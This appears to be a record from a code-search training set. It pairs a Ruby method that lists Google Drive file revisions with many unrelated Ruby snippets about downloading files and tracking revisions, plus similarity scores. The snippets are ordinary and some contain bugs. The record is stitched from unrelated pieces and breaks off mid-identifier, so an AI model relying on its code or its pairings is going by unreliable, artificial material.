send_file source_file.path.to_path }\n end\n \n end", "def check_new\n if File.exist?(@new_file_path)\n #TODO: error properly\n abort\n end\n end", "def start_download(blatt)\n\t File.open(\"/tmp/#{tractate_name}_#{blatt}.pdf\", \"wb\") do |f|\n f.write HTTParty.get(\"http://www.kolhalashon.com/imgs/Vilna/#{tractate_name}/#{tractate_name}_Amud_#{amud_conversion(blatt)}.pdf\").parsed_response\n end\n\tend", "def download_file\n @user = User.find_by_dtoken(params[:dtoken])\n @os = params[:os]\n if @user.nil?\n redirect_to :action => download\n else\n download_file = \"#{BINARIES[@os]}\"\n download_loc = \"#{DOWNLOAD_LOC}/#{download_file}\"\n # download_loc = \"domosaics.jar\" if @os == 'unknown'\n send_file(\"#{download_loc}\", :filename => \"#{BINARIES[@os]}\")\n # EMAIL TO ANGSDT TEAM:\n UserMailer.download_notification(@user).deliver\n #render :text => \"You are in the download area... !\"\n end\n end", "def force_download(path, token, method)\n download_folder = ::File.join(Dir.pwd, path.to_s, @file_name.to_s)\n auth_section = (token.to_s == \"\" ? \"\" : \"/a/#{token}\")\n download_url = \"#{Nsrr::WEBSITE}/datasets/#{@dataset_slug}/files#{auth_section}/m/nsrr-gem-v#{Nsrr::VERSION::STRING.gsub(\".\", \"-\")}/#{@full_path.to_s}\"\n download_request = Nsrr::Helpers::DownloadRequest.new(download_url, download_folder)\n download_request.get\n download_success = false\n if download_request.error.to_s == \"\"\n # Check to see if the file downloaded correctly\n # If the file size does not match, attempt one additional download\n download_success = did_download_succeed?(method, path)\n unless download_success\n download_request = Nsrr::Helpers::DownloadRequest.new(download_url, download_folder)\n download_request.get\n download_success = did_download_succeed?(method, path)\n end\n end\n if download_request.error.to_s == \"\" and download_success\n puts \" downloaded\".green + \" #{@file_name}\"\n download_request.file_size\n elsif download_request.error.to_s == \"\"\n puts \" failed\".red + \" #{@file_name}\"\n if method == \"fast\"\n puts \" File size mismatch, expected: #{@file_size}\"\n puts \" actual: #{@latest_file_size}\"\n else\n puts \" File checksum mismatch, expected: #{@file_checksum_md5}\"\n puts \" actual: #{@latest_checksum}\"\n end\n ::File.delete(download_folder) if ::File.exist?(download_folder)\n \"fail\"\n else\n puts \" failed\".red + \" #{@file_name}\"\n puts \" #{download_request.error}\"\n \"fail\"\n end\n end", "def download(url, filename, outputFolder)\r\n loadStatus = true\r\n begin\r\n Net::HTTP.start(url) { |http|\r\n t= Time.now\r\n filedate = t.strftime(\"%m%d%Y\")\r\n\t\tif url == \"downloads.cms.gov\"\r\n\t\t\tresp = http.get(\"/medicare/#{filename}\")\r\n\t\telse\r\n\t\t\tresp = http.get(\"/download/#{filename}\")\r\n\t\tend\r\n\r\n open(\"#{outputFolder}#{filedate}#{filename}\", \"wb\") { |file|\r\n file.write(resp.body)\r\n }\r\n }\r\n\r\n puts \"download of #{filename} complete\"\r\n rescue Exception=>e\r\n loadStatus = false\r\n end\r\n return loadStatus\r\nend", "def save_as( url, dest )\n\t\tself.out \"save_as\"\n\t\tto = @code + dest\n\t\tself.out \" :#{to}\"\n\t\t#if !@isTest\n\t\t\t# If file exists - for saving resource of HD\n\t\t\t# we delete it - we don't need copies \n\t\t\tif File.exist? to\n\t\t\t\tFile.delete to\n\t\t\tend\n\t\t\t# Save as - use HTTP.GET\n\t\t\[email protected]( url ).save_as to\n\t\t#end\n\t\tself.out \" #{url} to #{dest}\"\n\tend", "def get_file(url); end", "def copy_to(new_path)\n res = conn.put(new_path) do |req|\n req.headers = {\n \"X-Upyun-Copy-Source\" => \"/#{@uploader.upyun_bucket}/#{path}\",\n \"Content-Length\" => 0,\n \"Mkdir\" => \"true\"\n }\n end\n\n check_put_response!(res)\n\n File.new(@uploader, @base, new_path)\n rescue ConcurrentUploadError\n retry\n end", "def download_or_use_iso(iso_name)\n # TODO\n end", "def download(path, item)\n Download.download item.link, path\n Logger.instance.info \"Downloaded file #{item.title}\"\n @history.save item.title\n end", "def download_file(url, destination)\n raw_file = server_api.get_rest(url, true)\n\n Chef::Log.info(\"Storing updated #{destination} in the cache.\")\n cache.move_to(raw_file.path, destination)\n end", "def download(file, todir = '.')\r\n begin\r\n puts \"Downloading file #{file} from #{@address}\"\r\n c = open(\"http://#{@address}/#{file}\").read\r\n Dir.mkdir(todir) if not File.directory?(todir)\r\n f = open(\"#{todir}/#{file}\", 'wb')\r\n f.puts c\r\n f.close\r\n rescue => e\r\n if not File.exists?(fullfile)\r\n $stderr.puts \"Could not download file #{file} form #{@address}.\"\r\n $stderr.puts e.to_s\r\n end\r\n end\r\nend", "def do_download\n checksum = if new_resource.checksum\n new_resource._?(:checksum, '--checksum=sha-256=').join\n end\n header = if new_resource.header\n \"--header='#{new_resource._?(:header)[1]}'\"\n end\n aria2(checksum, header,\n new_resource._?(:path, '-o'),\n new_resource._?(:directory, '-d'),\n new_resource._?(:split_size, '-s'),\n new_resource._?(:connections, '-x'),\n new_resource._?(:check_cert, '--check-certificate=false'),\n new_resource.source)\n end", "def download\n # TODO: Find out why this is needed, should be handeled in ability.rb\n authorize! :read, params[:id]\n begin\n send_data @file.datastreams['content'].content, {:filename => @file.original_filename, :type => @file.mime_type}\n rescue ActiveFedora::ObjectNotFoundError => obj_not_found\n flash[:error] = 'The basic_files you requested could not be found in Fedora! Please contact your system administrator'\n logger.error obj_not_found.to_s\n render text: obj_not_found.to_s, status: 404\n rescue => standard_error\n flash[:error] = 'An error has occurred. Please contact your system administrator'\n logger.error standard_error.to_s\n render text: standard_error.to_s, status: 500\n end\n end", "def download(path, item)\n Download.download item.link, path\n Logger.instance.info \"Downloaded file #{item.title}\"\n @history.save item\n end", "def download_note_collection\n collection = Collection.find(params[:id])\n authorize! :download_note_collection, collection\n upload = Upload.find(params[:upload_id])\n \n send_file upload.upfile.path, \n :filename => upload.upfile_file_name, \n :type => 'application/octet-stream'\n end", "def download_url\n process_emulation 10\n clear_progress_bar\n self.downloaded_at = Time.now.utc\n save! && ready!\n end", "def _get(path, types)\n forbidden unless is_visible? path and is_allowed? path\n not_found unless File.exists? path\n if File.file? path\n content_type File.extname(path), :default => 'text/plain;charset=utf-8'\n send_file path\n else\n send_directory path, types\n end\n end", "def update\n if !user_signed_in?\n redirect_to :root\n else\n if current_user.user?\n redirect_to :root\n end\n end\n download_file @filedownload\n if @filedownload.update(filedownload_params)\n download_file @filedownload\n end\n end", "def download\n send_file @document.complete_path, :type => @document.mime, :disposition => 'inline'\n end", "def download!(uri)\n unless uri.blank?\n processed_uri = process_uri(uri)\n file = RemoteFile.new(processed_uri, self)\n raise CarrierWave::DownloadError, \"trying to download a file which is not served over HTTP\" unless file.http?\n cache!(file)\n end\n end", "def update!(**args)\n @download_url = args[:download_url] if args.key?(:download_url)\n @format = args[:format] if args.key?(:format)\n @type = args[:type] if args.key?(:type)\n end", "def download_from_original_url\n return if self.original_url.blank?\n\n self.contents = begin\n Timeout::timeout(300) do\n io = open(URI.parse(self.original_url))\n def io.original_filename\n base_uri.path.split('/').last\n end\n io.original_filename.blank? ? nil : io\n end\n rescue\n errors.add :original_url, \"unable to download url\"\n nil\n end\n end", "def download\n @item = Item.find(params[:id])\n if @item.item_type != 1\n if [email protected]_key\n aes_key = Base64.decode64(@package.encrypted_key)\n data = s3_downloader(\"#{ENV['AWS3_BUCKET_PREFIX']}#{@item[:package_id]}\", @item.file_name, aes_key)\n else\n data = s3_downloader(\"#{ENV['AWS3_BUCKET_PREFIX']}#{@item[:package_id]}\", @item.file_name)\n end\n if data.nil?\n flash[:notice] = \"An error has occurred, please try again later !\"\n else\n send_data(data, :filename => @item.file_name, :type => @item.file_content_type)\n end\n end\n #redirect_to\n end", "def downloaded?; !@html_source.nil?; end", "def download(key)\n raise NotImplementedError\n end", "def download\n product = Product.find params[:product_id]\n song = ToneLibrarySong.find params[:tone_library_song_id]\n tone_library_patch = ToneLibraryPatch.where(product_id: product.id, tone_library_song_id: song.id).first\n begin\n data = open(tone_library_patch.patch.url)\n send_file(data, \n filename: tone_library_patch.patch_file_name.to_s,\n type: tone_library_patch.mime_type,\n disposition: 'attachment'\n )\n rescue\n # Redirects directly to the file\n redirect_to tone_library_patch.patch.url, status: :moved_permanently\n end\n end", "def download_note\n document = Document.find(params[:id])\n authorize! :download_note, document\n \n begin\n upload = Upload.find(params[:upload_id])\n rescue\n puts \"### ERROR: \" + e.message\n redirect_to show_path(document), notice: \"ERROR: file (upload) ID not found. Upload may have been deleted\"\n return\n end\n \n send_file upload.upfile.path, \n :filename => upload.upfile_file_name, \n :type => 'application/octet-stream'\n end", "def download(save_path=\"\")\n url = prefix + \"download\"\n r = response(url) \n if r.class == String #success\n open(File.join(save_path,@filename), \"wb\").write(open(r).read)\n return r\n else #failed\n return r\n end\n end", "def download\n send_file @cfile.path.to_s\n end", "def download_path\n if self.upload_file_name.nil?\n self.human_fastq_url\n else\n if self.study.public?\n download_file_path(self.study.url_safe_name, filename: self.bucket_location)\n else\n download_private_file_path(self.study.url_safe_name, filename: self.bucket_location)\n end\n end\n end", "def download!(uri)\n unless uri.blank?\n processed_uri = process_uri(uri)\n file = RemoteFile.new(processed_uri)\n raise CarrierWave::DownloadError, \"trying to download a file which is not served over HTTP\" unless file.http?\n cache!(file)\n end\n end", "def download\n path = @document.file.path(params[:style])\n\n head(:not_found) and return unless File.exist?(path)\n\n send_file_options = {\n :filename => @document.file_file_name,\n :type => @document.file_content_type\n }\n\n send_file(path, send_file_options)\n end", "def download\n @assessment = Assessment.find(params[:id])\n if current_user.role.name.eql?('Support Team')\n @assessment.update_attribute(:status,5)\n end\n send_file process_zip(@assessment,@assessment.asset)\n end", "def download\n redirect \"public/downloads/index.html\"\n end", "def update_file_path\n if self.number_changed? || self.organization_id_changed?\n old_organization = Organization.find(self.organization_id_was)\n old_url_part = url_part_safe(self.number_was)\n \n old_path = File.join(old_organization.storage_path, old_url_part)\n \n if File.directory?(old_path)\n new_path = self.storage_path\n \n # If the organization folder does not exist, create it.\n if !File.directory?(self.organization.storage_path)\n FileUtils.mkdir_p self.organization.storage_path\n end\n \n FileUtils.mv old_path, new_path\n end\n end\n end", "def purchased_download_url\n false\n end" ]
[ "0.6378795", "0.6361265", "0.6222622", "0.6135865", "0.61093247", "0.61047834", "0.6060282", "0.6003142", "0.5972961", "0.58276224", "0.57387763", "0.5708211", "0.5683693", "0.5682131", "0.567892", "0.5623045", "0.55913305", "0.55779135", "0.55707276", "0.5564703", "0.55618626", "0.5559954", "0.5555416", "0.5529356", "0.55255836", "0.54838026", "0.5481451", "0.54562855", "0.5454267", "0.5439991", "0.54388905", "0.5431057", "0.54125786", "0.5401628", "0.5392812", "0.5359794", "0.53449124", "0.5343771", "0.5328063", "0.5322122", "0.5314808", "0.53109884", "0.53075033", "0.52923596", "0.5284422", "0.52673274", "0.5255877", "0.5240164", "0.5238829", "0.52287847", "0.5227824", "0.5214082", "0.52075446", "0.5204919", "0.51972574", "0.5193533", "0.51929224", "0.5192088", "0.5189147", "0.51815486", "0.51748", "0.51740605", "0.5172357", "0.51691824", "0.5164098", "0.5162851", "0.5160602", "0.51559865", "0.51463884", "0.5146023", "0.51407266", "0.5140176", "0.51334405", "0.5130012", "0.512451", "0.51241547", "0.5121541", "0.51107204", "0.510741", "0.51045537", "0.51044977", "0.510324", "0.51031244", "0.5095027", "0.5094128", "0.50871855", "0.5085676", "0.5085644", "0.50812584", "0.50784034", "0.507633", "0.5076186", "0.5074517", "0.5073599", "0.5072701", "0.50726396", "0.5072479", "0.5059699", "0.5058593", "0.505475" ]
0.5940562
9
Retrieve all revisions of a file
def retrieve_revisions(file_id) api_result = @client.execute( api_method: @drive_api.revisions.list, parameters: { 'fileId' => file_id }) if api_result.status == 200 revisions = api_result.data return revisions.items else puts "An error occurred: #{result.data['error']['message']}" end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def get_revisions(file_path, client)\n @log.debug \"Getting revisions of \" + file_path\n revs = []\n revisions = client.revisions file_path\n revisions.each do |rev|\n fileRev = FileRev.new\n if rev['is_deleted']\n fileRev.file_loc = rev[\"path\"]\n fileRev.is_deleted = true\n fileRev.timestamp = DateTime.parse(rev['modified'])\n fileRev.rev = rev[\"rev\"]\n @log.debug rev[\"path\"] + ' deleted ' + rev[\"rev\"] + ' ' + rev['modified']\n else \n fileRev.file_loc = rev[\"path\"]\n fileRev.is_deleted = false\n fileRev.timestamp = DateTime.parse(rev['modified'])\n fileRev.rev = rev[\"rev\"]\n @log.debug rev[\"path\"] + ' ' + rev[\"rev\"] + ' ' + rev['modified']\n end\n revs.push(fileRev)\n end\n return revs\nend", "def revisions(path, rev_limit=1000)\n\n params = {\n 'rev_limit' => rev_limit.to_s\n }\n\n response = @session.do_get build_url(\"/revisions/#{@root}#{format_path(path)}\", params)\n parse_response(response)\n\n end", "def revisions\n active_revisions = []\n begin\n hash = CouchDB.get( \"#{uri}?revs_info=true\" )\n rescue\n return active_revisions\n end \n hash['_revs_info'].each do |rev_hash|\n active_revisions << rev_hash['rev'] if ['disk', 'available'].include?( rev_hash['status'] )\n end\n active_revisions \n end", "def revisions\n active_revisions = []\n begin\n hash = CouchSpring.get( \"#{uri}?revs_info=true\" )\n rescue\n return active_revisions\n end \n hash['_revs_info'].each do |rev_hash|\n active_revisions << rev_hash['rev'] if ['disk', 'available'].include?( rev_hash['status'] )\n end\n active_revisions \n end", "def file_revisions(file)\n file = file.gsub(%r{^/}, '')\n output = sh_string(\"git log --format='%h|%s|%aN|%ai' -n100 #{ShellTools.escape(file)}\")\n output.to_s.split(\"\\n\").map do |log_result|\n commit, subject, author, date = log_result.split('|')\n date = Time.parse(date.sub(' ', 'T')).utc.iso8601\n { commit: commit, subject: subject, author: author, date: date }\n end\n end", "def revisions(id, options={})\n get_request(\"articles/#{id}/revisions\", options)\n end", "def get_revisions_for(model_file)\n versions = model_file.versions\n dropbox_revisions = dropbox_client.revisions(model_file.path)\n\n dropbox_revisions.map do |revision|\n version = versions.find_by_revision_number(revision[\"rev\"])\n { id: version ? version.id : revision[\"rev\"],\n modified: version ? version.revision_date : revision[\"modified\"],\n version: version,\n details: version ? version.details : \"\"\n }\n end\n\n end", "def revisions(path, opts = {})\n optional_inputs = opts\n input_json = {\n path: path,\n path_revision: optional_inputs[:path_revision],\n }\n response = @session.do_rpc_endpoint(\"/#{ @namespace }/revisions\", input_json)\n Dropbox::API::RevisionHistory.from_json(Dropbox::API::HTTP.parse_rpc_response(response))\n end", "def revisions\n @revisions ||= RevisionCollection.new(self)\n end", "def revisions(path, identifier_from, identifier_to, options = {}, &block)\n if block_given?\n raise 'Can' 't read chunks with reverse option' if options[:reverse]\n revisions_in_chunks(path, identifier_from, identifier_to, options, &block)\n else\n revs = []\n revisions_in_chunks(path, identifier_from, identifier_to, options) do |chunk|\n revs += chunk.values\n end\n options[:reverse] ? revs.reverse : revs\n end\n rescue Redmine::Scm::Adapters::CommandFailed => e\n err_msg = \"git log error: #{e.message}\"\n logger.error(err_msg)\n if block_given?\n raise Redmine::Scm::Adapters::CommandFailed, err_msg\n else\n revs\n end\n end", "def revisions\n raise NotImplementedError\n end", "def revisions(from_version = 1)\n audits = self.audits.from_version(from_version)\n return [] if audits.empty?\n revisions = []\n audits.each do |audit|\n revisions << audit.revision\n end\n revisions\n end", "def revisions(from_version = 1)\n audits = self.audits.from_version(from_version)\n return [] if audits.empty?\n revisions = []\n audits.each do |audit|\n revisions << audit.revision\n end\n revisions\n end", "def revisions(from_version = 1)\n audit_changes(from_version) {|attributes| revision_with(attributes) }\n end", "def all_changes_in_revisions array\n raise NotImplementedError.new('Define method :all_changes_in_revisions on your source control.')\n end", "def revision_files(options={})\r\n @scm.revisions(Time.epoch, options.dup.merge({:to_identifier => Time.infinity, :relative_path => @relative_path})).collect do |revision|\r\n if revision.files.length != 1\r\n files_s = revision.files.collect{|f| f.to_s}.join(\"\\n\")\r\n raise \"The file-specific revision didn't have exactly one file, but #{revision.files.length}:\\n#{files_s}\"\r\n end\r\n if(!revision.files[0].path.eql?(@relative_path))\r\n raise \"The file-specific revision didn't have expected path '#{@relative_path}', but '#{revision.files[0].path}'\"\r\n end\r\n revision.files[0]\r\n end\r\n end", "def revisions\n if id == nil\n Revision.where('1=0')\n end\n Revision.where(:discussion_id => id).where('reply_id IS null').order('created_at DESC')\n end", "def getEntityRevisions( entity_id)\n params = Hash.new\n params['entity_id'] = entity_id\n return doCurl(\"get\",\"/entity/revisions\",params)\n end", "def revisions(location, limit = 1000)\n @client.revisions(location, limit)\n rescue\n puts $! if @@verbose\n nil\n end", "def index\n user = User.find(params[:user_id])\n course = Course.find(params[:course_id])\n\n @revisions = course.tracked_revisions.where(user_id: user.id)\n .order('revisions.date DESC')\n .eager_load(:article, :wiki)\n .limit(params[:limit] || DEFAULT_REVISION_LIMIT)\n end", "def list_job_revisions(id)\n conn = @client.get do |req|\n req.url \"/api/v2/job/#{id}/revisions\"\n req.headers[\"Authorization\"] = @token\n end\n conn.body\n end", "def revisions(path=nil, identifier_from=nil, identifier_to=nil, options={}, &block)\r\n logger.debug \"<cvs> revisions path:'#{path}',identifier_from #{identifier_from}, identifier_to #{identifier_to}\"\r\n \r\n path_with_project=\"#{url}#{with_leading_slash(path)}\"\r\n cmd = \"#{CVS_BIN} -d #{root_url} rlog\"\r\n cmd << \" -d\\\">#{time_to_cvstime(identifier_from)}\\\"\" if identifier_from\r\n cmd << \" #{shell_quote path_with_project}\"\r\n shellout(cmd) do |io|\r\n state=\"entry_start\"\r\n \r\n commit_log=String.new\r\n revision=nil\r\n date=nil\r\n author=nil\r\n entry_path=nil\r\n entry_name=nil\r\n file_state=nil\r\n branch_map=nil\r\n \r\n io.each_line() do |line| \r\n \r\n if state!=\"revision\" && /^#{ENDLOG}/ =~ line\r\n commit_log=String.new\r\n revision=nil\r\n state=\"entry_start\"\r\n end\r\n \r\n if state==\"entry_start\"\r\n branch_map=Hash.new\r\n if /^RCS file: #{Regexp.escape(root_url_path)}\\/#{Regexp.escape(path_with_project)}(.+),v$/ =~ line\r\n entry_path = normalize_cvs_path($1)\r\n entry_name = normalize_path(File.basename($1))\r\n logger.debug(\"Path #{entry_path} <=> Name #{entry_name}\")\r\n elsif /^head: (.+)$/ =~ line\r\n entry_headRev = $1 #unless entry.nil?\r\n elsif /^symbolic names:/ =~ line\r\n state=\"symbolic\" #unless entry.nil?\r\n elsif /^#{STARTLOG}/ =~ line\r\n commit_log=String.new\r\n state=\"revision\"\r\n end \r\n next\r\n elsif state==\"symbolic\"\r\n if /^(.*):\\s(.*)/ =~ (line.strip) \r\n branch_map[$1]=$2\r\n else\r\n state=\"tags\"\r\n next\r\n end \r\n elsif state==\"tags\"\r\n if /^#{STARTLOG}/ =~ line\r\n commit_log = \"\"\r\n state=\"revision\"\r\n elsif /^#{ENDLOG}/ =~ line\r\n state=\"head\"\r\n end\r\n next\r\n elsif state==\"revision\"\r\n if /^#{ENDLOG}/ =~ line || /^#{STARTLOG}/ =~ line \r\n if revision\r\n \r\n revHelper=CvsRevisionHelper.new(revision)\r\n revBranch=\"HEAD\"\r\n \r\n branch_map.each() do |branch_name,branch_point|\r\n if revHelper.is_in_branch_with_symbol(branch_point)\r\n revBranch=branch_name\r\n end\r\n end\r\n \r\n logger.debug(\"********** YIELD Revision #{revision}::#{revBranch}\")\r\n \r\n yield Revision.new({ \r\n :time => date,\r\n :author => author,\r\n :message=>commit_log.chomp,\r\n :paths => [{\r\n :revision => revision,\r\n :branch=> revBranch,\r\n :path=>entry_path,\r\n :name=>entry_name,\r\n :kind=>'file',\r\n :action=>file_state\r\n }]\r\n }) \r\n end\r\n \r\n commit_log=String.new\r\n revision=nil\r\n \r\n if /^#{ENDLOG}/ =~ line\r\n state=\"entry_start\"\r\n end\r\n next\r\n end\r\n \r\n if /^branches: (.+)$/ =~ line\r\n #TODO: version.branch = $1\r\n elsif /^revision (\\d+(?:\\.\\d+)+).*$/ =~ line\r\n revision = $1 \r\n elsif /^date:\\s+(\\d+.\\d+.\\d+\\s+\\d+:\\d+:\\d+)/ =~ line\r\n date = Time.parse($1)\r\n author = /author: ([^;]+)/.match(line)[1]\r\n file_state = /state: ([^;]+)/.match(line)[1]\r\n #TODO: linechanges only available in CVS.... maybe a feature our SVN implementation. i'm sure, they are\r\n # useful for stats or something else\r\n # linechanges =/lines: \\+(\\d+) -(\\d+)/.match(line)\r\n # unless linechanges.nil?\r\n # version.line_plus = linechanges[1]\r\n # version.line_minus = linechanges[2]\r\n # else\r\n # version.line_plus = 0\r\n # version.line_minus = 0 \r\n # end \r\n else \r\n commit_log << line unless line =~ /^\\*\\*\\* empty log message \\*\\*\\*/\r\n end \r\n end \r\n end\r\n end\r\n end", "def files; changeset.all_files; end", "def getEntityRevisionsByRevisionID( entity_id, revision_id)\n params = Hash.new\n params['entity_id'] = entity_id\n params['revision_id'] = revision_id\n return doCurl(\"get\",\"/entity/revisions/byRevisionID\",params)\n end", "def get_existing_revisions_by_id(revisions)\n revision_list = compile_revision_ids_query(revisions)\n api_get('revisions.php', revision_list)\n end", "def list_history(path)\n\t\tlogin_filter\n\t\t\n\t\tpath = namespace_path(path)\n\n\t\thistory = @agent.get(\"/revisions#{path}\")\n\t\tlisting = history.search(\"table.filebrowser > tr\").select{|r| r.search(\"td\").count > 1 }.collect do |r|\n\t\t\t\n\t\t\t# warning, this is very brittle!\n\t\t\tdetails = {}\n\t\t\tdetails[\"version\"] = r.search(\"td a\").first.content.strip\n\t\t\tdetails[\"url\"] = r.search(\"td a\").first[\"href\"]\n\t\t\tdetails[\"size\"] = r.search(\"td\").last.content.strip\n\t\t\tdetails[\"modified\"] = r.search(\"td\")[2].content.strip\n\t\t\tdetails[\"version_id\"] = details[\"url\"].match(/^.*sjid=([\\d]*)$/)[1]\n\t\t\tdetails['path'] = normalize_namespace(details['url'][33..-1])\n\t\t\t\n\t\t\tdetails\n\t\tend\n\t\t\n\t\treturn listing\n\tend", "def fetch_revision\n end", "def index\n @revisions = @page.revisions.sort { |a, b| b.created_at <=> a.created_at }\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @revisions }\n end\n end", "def revlist\n (`git rev-list --all`).split(\"\\n\")\n end", "def get_content(file, rev = 'HEAD', options = {})\n args = standard_args(options)\n args.push('--revision', rev)\n args.push(\"#{@repo}/#{file}\")\n\n svn('cat', args)\n end", "def children\n c = file_log.children(file_node)\n c.map do |x|\n VersionedFile.new(@repo, @path, :file_id => x, :file_log => file_log)\n end \n end", "def revision\n return @changeset.revision if @changeset\n file_log[@file_rev].link_rev\n end", "def download_revisions(child, revisions, new_path)\n revisions.each do |revision|\n download_url = retrieve_download_url revision, child.mimeType\n dl = @client.execute!(uri: download_url.to_s) # Download file\n save_revision child, revision, dl, new_path\n end\n end", "def index\n @page = Page.find(params[:page_id])\n @revisions = @page.revisions\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @revisions }\n end\n end", "def get_history_file_versions\n\t\ttag_pattern = self.release_tag_pattern\n\n\t\treturn IO.readlines( self.history_file ).grep( tag_pattern ).map do |line|\n\t\t\tline[ /^(?:h\\d\\.|#+|=+)\\s+(#{tag_pattern})\\s+/, 1 ]\n\t\tend.compact\n\tend", "def ls(path, revision = nil, include_deleted = false)\n @client.metadata(path, 25000, true, nil, revision, include_deleted)\n rescue\n puts $! if @@verbose\n nil\n end", "def index\n @entrevs = Entrev.all\n end", "def revisions(from_version = 1)\n return [] unless audits.from_version(from_version).exists?\n\n all_audits = audits.select([:audited_changes, :version, :action]).to_a\n targeted_audits = all_audits.select { |audit| audit.version >= from_version }\n\n previous_attributes = reconstruct_attributes(all_audits - targeted_audits)\n\n targeted_audits.map do |audit|\n previous_attributes.merge!(audit.new_attributes)\n revision_with(previous_attributes.merge!(version: audit.version))\n end\n end", "def revision_file\n @root.join('REVISION')\n end", "def latest\n revisions.latest\n end", "def index\n @commit_filepaths = CommitFilepath.all\n end", "def list_revisions request_pb, options = nil\n raise ::ArgumentError, \"request must be provided\" if request_pb.nil?\n\n verb, uri, query_string_params, body = ServiceStub.transcode_list_revisions_request request_pb\n query_string_params = if query_string_params.any?\n query_string_params.to_h { |p| p.split \"=\", 2 }\n else\n {}\n end\n\n response = @client_stub.make_http_request(\n verb,\n uri: uri,\n body: body || \"\",\n params: query_string_params,\n options: options\n )\n operation = ::Gapic::Rest::TransportOperation.new response\n result = ::Google::Cloud::Config::V1::ListRevisionsResponse.decode_json response.body, ignore_unknown_fields: true\n\n yield result, operation if block_given?\n result\n end", "def set_revisions\n @revisions = @notebook.revision_list(@user)\n end", "def get_revisions(users, rev_start, rev_end)\n raw = get_revisions_raw(users, rev_start, rev_end)\n @data = {}\n return @data unless raw.is_a?(Enumerable)\n raw.each { |revision| extract_revision_data(revision) }\n\n @data\n end", "def snapshots\n return @snapshots if @snapshots\n\n @snapshots = []\n @files.each do |f|\n io = File.open(f)\n\n begin\n @parser.read(io)\n @snapshots << @parser.snapshot\n rescue EOFError => e\n puts \"#{e.inspect}\\n#{f}\"\n end\n end\n\n return @snapshots\n end", "def get_all_versions\n []\n end", "def file_revision_at(file, ref)\n file = file.gsub(%r{^/}, '')\n content = sh_string(\"git show #{ref}:#{ShellTools.escape(file)}\")\n tmp_path = File.expand_path(File.basename(file), Dir.tmpdir)\n File.open(tmp_path, 'w') { |f| f.puts content }\n tmp_path\n end", "def get_all_versions()\n return []\n end", "def array_of_revisions\n \n start_date = Date.parse(@sprint_start_date)\n end_date = Date.parse(@sprint_end_date)\n\n completed_reviews_ids = []\n\n get_reviews.each do |item|\n creation_date = Date.parse(item[:creation_date]) rescue nil\n if (item[:phase] == \"Completed\") && (creation_date && (creation_date >= start_date && creation_date <= end_date)) \n completed_reviews_ids << item[:revision]\n end \n end\n completed_reviews_ids\n end", "def get_revision(id, options={})\n get_request(\"revisions/#{id}\", options)\n end", "def file_refresh(file)\n\t\tputs \"Refresh entries in the site store from file: #{file}\" if @verbose\n\t\tchanges=Hash.new\n\t\tsites=file_2_list(file)\n\t\tchanges=bulk_refresh(sites) unless sites.nil? or sites.empty?\n\t\treturn changes\n\trescue => ee\n\t\tputs \"Exception on method #{__method__}: #{ee} for file: #{file}\" if @verbose\n\tend", "def file_rev\n @file_rev ||= file_log.rev(file_node)\n end", "def get_all_file_data(revision, assignment, path)\n full_path = File.join(assignment.repository_folder, path)\n return [] unless revision.path_exists?(full_path)\n\n files = revision.files_at_path(full_path)\n entries = get_files_info(files, assignment.id, revision.revision_identifier, path)\n\n entries.each do |data|\n data[:key] = path.blank? ? data[:raw_name] : File.join(path, data[:raw_name])\n data[:modified] = data[:last_revised_date]\n data[:size] = 1 # Dummy value\n end\n\n revision.directories_at_path(full_path).each do |directory_name, _|\n entries.concat(get_all_file_data(\n revision,\n path.blank? ? directory_name : File.join(path, directory_name)\n ))\n end\n\n entries\n end", "def show\n @model_file = ModelFile.find(params[:id])\n @projects = current_member.projects\n @revisions = get_revisions_for(@model_file)\n end", "def get_revisions_raw(users, rev_start, rev_end)\n user_list = compile_usernames_query(users)\n oauth_tags = compile_oauth_tags\n oauth_tags = oauth_tags.blank? ? oauth_tags : \"&#{oauth_tags}\"\n query = user_list + oauth_tags + \"&start=#{rev_start}&end=#{rev_end}\"\n api_get('revisions.php', query)\n end", "def altered_files; raw_changeset.files; end", "def create\n revisions do |orig_file, sha_list|\n sha_list.each_with_index do |sha, i|\n ver = (i + 1).to_s\n # Git revisioned file\n composeversions(orig_file, sha, ver) do |content, data, file_path|\n # dont re-write files\n if File.exist?(file_path)\n linecount(file_path)\n next\n end\n\n version_content = FrontMatter.new(data)\n version_content.content = content \n write(file_path, version_content.update)\n linecount(file_path)\n end\n end\n\n sha_list.map!.with_index { |sha, i| [] << sha << (i + 1) }\n # Git Diff combination files\n composediffs(orig_file, line_count, sha_list.combination(2)) do |content, data, file_path|\n content.sub!(DIFF_HEADER_REGEXP, '')\n if change?(content)\n VersionedFiles.frontmatter[\"no_change\"] = false\n styled_content = @style.style(content)\n data.merge!(@style.stats.final)\n else\n VersionedFiles.frontmatter[\"no_change\"] = \"no_change\"\n data[\"no_change\"] = true\n end\n\n fm = FrontMatter.new(data).create\n diff_file = fm << styled_content\n write(file_path, diff_file)\n end\n end\n end", "def list_file_changed\n content = \"Files changed since last deploy:\\n\"\n IO.popen('find * -newer _last_deploy.txt -type f') do |io| \n while (line = io.gets) do\n filename = line.chomp\n if user_visible(filename) then\n content << \"* \\\"#{filename}\\\":{{site.url}}/#{file_change_ext(filename, \".html\")}\\n\"\n end\n end\n end \n content\nend", "def history\n @vcs.history\n end", "def fetch_versions\n http_get(\"#{host}/#{Configuration.versions_file}\").body\n end", "def files\n db = Database.find(params[:id])\n @files = Dir.entries(db.path)\n @files.delete_if{|f| !f.include?'.dat'}\n @results = []\n @files.each do |entry|\n @results << {:name=>entry,:version=>db.version}\n end\n respond_to do |format|\n format.html\n format.json { render json: @results }\n end\n end", "def get_recent_deleted_revisions(user = nil, start = nil, stop = nil, limit = @query_limit_default)\n prop = 'revid|parentid|user|comment|parsedcomment|minor|len|sh1|tags'\n params = {\n action: 'query',\n list: 'deletedrevs',\n drprop: prop,\n drlimit: get_limited(limit)\n }\n params[:drstart] = start.xmlschema unless start.nil?\n params[:drend] = stop.xmlschema unless stop.nil?\n\n post(params)['query']['deletedrevs'].collect do |rev|\n r = rev['revisions'][0]\n hash = {\n timestamp: DateTime.xmlschema(r['timestamp']),\n user: r['user'],\n comment: r['comment'],\n title: rev['title']\n }\n\n hash\n end\n end", "def versions\n versions = Backlogjp.base._command \"getVersions\", self.id\n versions.map {|hash| Version.new(hash)}\n end", "def versions\n return @_versions ||= Regulate::Git::Interface.commits(id)\n end", "def file_query_edis_rev\n 